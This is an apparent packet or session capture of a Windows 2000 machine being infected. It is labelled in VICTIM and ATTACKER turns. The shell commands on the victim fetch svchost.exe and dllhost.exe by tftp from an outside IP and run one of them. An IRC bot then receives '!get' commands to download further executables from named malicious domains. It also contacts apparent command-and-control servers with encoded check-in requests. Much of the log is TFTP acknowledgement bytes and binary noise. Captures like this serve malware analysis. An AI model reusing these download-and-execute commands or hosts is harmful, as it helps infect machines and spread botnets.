VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	tftp -i 180.70.142.91 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	\000\004\000; 
VICTIM:  	\000\004\000< 
VICTIM:  	\000\004\000= 
VICTIM:  	\000\004\000> 
VICTIM:  	\000\004\000? 
VICTIM:  	\000\004\000@ 
VICTIM:  	\000\004\000A 
VICTIM:  	\000\004\000B 
VICTIM:  	\000\004\000C 
VICTIM:  	\000\004\000D 
VICTIM:  	\000\004\000E 
VICTIM:  	Transfer successful: 35088 bytes in 13 seconds, 2699 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 180.70.142.91 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	Transfer successful: 25600 bytes in 10 seconds, 2560 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK eqopnmnxUSER q020500 . . :_ 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG eqopnmnx :!get http:/ad.ghura.pl/rc.exe:u. PRIVMSG eqopnmnx :!get http:/bb.iwillhavebigdick.com/kp.exe:u. PRIVMSG eqopnmnx :!get http:/www.derquda.com/kb8.txt 
VICTIM:  	GET /rc.exe HTTP/1.0User-Agent: DownloadHost: ad.ghura.plPragma: no-cache 
ATTACKER:	GET /kp.exe HTTP/1.0User-Agent: DownloadHost: bb.iwillhavebigdick.comPragma: no-cache 
ATTACKER:	GET /kb8.txt HTTP/1.0User-Agent: DownloadHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/lmn2.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/mno3.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/nop4.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
ATTACKER:	GET /ert/klm1.txt HTTP/1.0User-Agent: Microsoft Internet ExplorerHost: www.derquda.comPragma: no-cache 
VICTIM:  	\001\000\000\000*l\363\227 
VICTIM:  	\025\310\3741\225 ?\031<\224\370_\\224h1C\005\363sLVNm\242\030\330\025\310\3741\226 ?\031>\224\371_.\224V0_\002g_*\224\363_\025\310\3741\224 ?\031>\224\373_.\224f:Y\007\\0D\224\023\010\331+\025\310\3741\227 ?\031>\224\372_.\224i:D\370b-*\227\363_*\025\310\3741\226 ?\0318\224\373_(\224_;X\010l/O\224\364_\025\310\3741\227 ?\031>\224\372_.\224_;XX-*\370\363_*\025\310\3741\246 ?\0313\224\372_9\224j6DX-*\231\363_*\224\363_*'\373_*\226\363_*\224\363^\027\337\3607\206 ?\031 
ATTACKER:	GET /list.php?c=061E9B4C43F5862AC126F1D9E9ACD70639A082B98BB832AFACEEE3B67BDC6B4227193D204C3B99F7F980F46EE6A3D5F7679D8671D9A03E64A1CE&v=2&t=0.9796869 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe3.perfectexe.com:255Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /cs.gif?t=0.8603632 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: sb.perfectexe.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /list.php?c=A5BDDD0A1EA812BEBB5C230BF4B1D809D54CCDF64C7F0F92B3F1EEBBFA5D0D24E0DE312C126568062D5478E2FABFB89A5DA7C235C4BD9ECF2256&v=2&t=0.4782221 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: bestkind.ruConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=554BD236BF2FFE59A54E331BF08AB041F66D4376F4D14A867C1AFA8934939CB291DFD9CE7B15550BFA92214B5A51D33E6C9A44FCCBBA3A1D4E769931146CC4AFC1BC532BEEEB58C7DEE4B4CEE7095D823EC97E43057BD0D6C062ABC6AC5594EE86E75D43C1DA0A9741F2189F1010E278AF582F00EBAC311661387C1314A2C37DC2CB54FCDDE8B2775567BAE98E4E3749&t=0.1572992 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe3.perfectexe.com:255Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=1907927641D19334719A89A19BE10AFBBE25D0E57E5B7CB0593F681BB512143A135DF3E42D43A0FED3BBC7ADB5BE42AF807641F90273694E221A5BF3F68E006B443981F92124E57A9CA6A1DB89679D42EE1982BFA6D846402D8F563BB148CDB7E382928C1E0561FCD467FD6B679E27AFDE2B07590C5F2F1D24305D28D87AA65C6B7BBA1E65484E88C4FE0054E2202CAE6C8C&t=0.5687372 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe3.perfectexe.com:255Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /kv.exe?t=0.5122797 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: sb.perfectexe.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /state.php?action=install&m=00-0C-29-F7-BD-23 HTTP/1.1User-Agent: NetLog2Host: sy2.perfectexe.com:85Pragma: no-cache 
ATTACKER:	GET /sn.php?c=B3AD5DB9BD2D73D404EAAA865E244287C5581E291A38FF69F79388FA1CB17B213C72D2C532589DA9EADFCB557F6F4CA55E902A916F1E8FDF92A3D07AF08DF36EF2A14E3DE0E22DB26C56A7DDC12F01DEC730576AB4CA6365359794F9A55CDBA12B4AD3CDC3D82EB370C38E0933333AA07483456A05422205E4BDC3AC67D1AB157B7EA2071836E6271B2D114620E8106C&t=0.7849848 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe3.perfectexe.com:255Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=8F91AC48AD3D90376789D0FC7D07AE6BA03DA99EA3816DFB14707C0EDC71E2B892DCA9BEA1CBF4C0794CE6785A4ABD54854BCB70CFBE3262E8D99339DFA2079A9DCE21527476CD52F9C3413BB6585D828374310C7F017A7C05A75F320FF6B2C8E382756B02198518AC1F93057E87CA42EF1ADB85B1E24D7F504433467BD9BD47DACA46EF6753C67997AECC95E0297AFA5E85&t=0.4792597 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: exe3.perfectexe.com:255Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /cool.gif?t=0.4997675 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: sb.perfectexe.comConnection: Keep-AlivePragma: no-cache 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu